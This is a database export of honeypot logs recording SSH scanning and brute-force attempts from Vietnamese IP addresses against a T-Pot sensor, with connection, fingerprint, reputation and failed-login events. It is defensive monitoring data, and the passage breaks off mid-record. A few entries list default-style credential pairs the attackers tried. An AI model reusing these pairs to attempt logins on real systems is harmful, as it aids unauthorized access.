23166	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:11.954406+03	2021-09-20 14:15:07.155472+03	{"_id": "-QbjAnwBvYTbRNuEcAea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:50352 (192.168.176.2:22) [session: b804c76d0e87]", "session": "b804c76d0e87", "@version": "1", "protocol": "ssh", "src_port": 50352, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.954406Z", "@timestamp": "2021-09-20T11:07:11.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23167	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:11.878509+03	2021-09-20 14:15:07.156472+03	{"_id": "-wbjAnwBvYTbRNuEcAea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:55082 (192.168.176.2:22) [session: 42ded88255ab]", "session": "42ded88255ab", "@version": "1", "protocol": "ssh", "src_port": 55082, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.878509Z", "@timestamp": "2021-09-20T11:07:11.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23169	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:11.706233+03	2021-09-20 14:15:07.159473+03	{"_id": "DAbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [redis/redis] failed", "session": "0543f1973e1e", "@version": "1", "password": "redis", "username": "redis", "timestamp": "2021-09-20T11:07:11.706233Z", "@timestamp": "2021-09-20T11:07:11.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23170	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:12.162277+03	2021-09-20 14:15:07.161472+03	{"_id": "DgbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "42ded88255ab", "@version": "1", "timestamp": "2021-09-20T11:07:12.162277Z", "@timestamp": "2021-09-20T11:07:12.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23171	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:12.161448+03	2021-09-20 14:15:07.162473+03	{"_id": "FwbjAnwBvYTbRNuEcwgJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1231995990385395, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55082, "dest_port": 22, "timestamp": "2021-09-20T11:07:12.161448Z", "@timestamp": "2021-09-20T11:07:12.161Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23172	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:13.045282+03	2021-09-20 14:15:07.163472+03	{"_id": "QQbjAnwBvYTbRNuEdgj0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 289824047130207, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48522, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.045282Z", "@timestamp": "2021-09-20T11:07:13.045Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23173	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:13.296606+03	2021-09-20 14:15:07.164473+03	{"_id": "QgbjAnwBvYTbRNuEdgj0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 640849576753542, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49912, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.296606Z", "@timestamp": "2021-09-20T11:07:13.296Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23174	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:13.045319+03	2021-09-20 14:15:07.166473+03	{"_id": "RAbjAnwBvYTbRNuEdwi2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48522, "timestamp": "2021-09-20T11:07:13.045319", "@timestamp": "2021-09-20T11:07:13.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23175	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:13.296702+03	2021-09-20 14:15:07.167473+03	{"_id": "RQbjAnwBvYTbRNuEdwi2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49912, "timestamp": "2021-09-20T11:07:13.296702", "@timestamp": "2021-09-20T11:07:13.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23176	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:13.608588+03	2021-09-20 14:15:07.168473+03	{"_id": "RgbjAnwBvYTbRNuEdwi2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40486, "timestamp": "2021-09-20T11:07:13.608588", "@timestamp": "2021-09-20T11:07:13.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23177	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:14.835988+03	2021-09-20 14:15:07.169472+03	{"_id": "YwbjAnwBvYTbRNuEegjd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 557479966692004, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54424, "dest_port": 22, "timestamp": "2021-09-20T11:07:14.835988Z", "@timestamp": "2021-09-20T11:07:14.835Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
36097	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:11:34.809223+03	2021-09-20 15:15:04.127691+03	{"_id": "JAYeA3wBvYTbRNuEYGD-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:11:34.809223Z", "@timestamp": "2021-09-20T12:11:34.809Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
23178	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.749432+03	2021-09-20 14:15:07.17147+03	{"_id": "ZAbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:56450 (192.168.176.2:22) [session: 579c1b78a46e]", "session": "579c1b78a46e", "@version": "1", "protocol": "ssh", "src_port": 56450, "dest_port": 22, "timestamp": "2021-09-20T11:07:14.749432Z", "@timestamp": "2021-09-20T11:07:14.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23179	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:14.563544+03	2021-09-20 14:15:07.17247+03	{"_id": "aQbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54424, "timestamp": "2021-09-20T11:07:14.563544", "@timestamp": "2021-09-20T11:07:14.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23180	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:14.243068+03	2021-09-20 14:15:07.17447+03	{"_id": "bwbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [lab/lab123] failed", "session": "e7dcfc2e555e", "@version": "1", "password": "lab123", "username": "lab", "timestamp": "2021-09-20T11:07:14.243068Z", "@timestamp": "2021-09-20T11:07:14.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23181	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.836308+03	2021-09-20 14:15:07.175471+03	{"_id": "ZwbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", 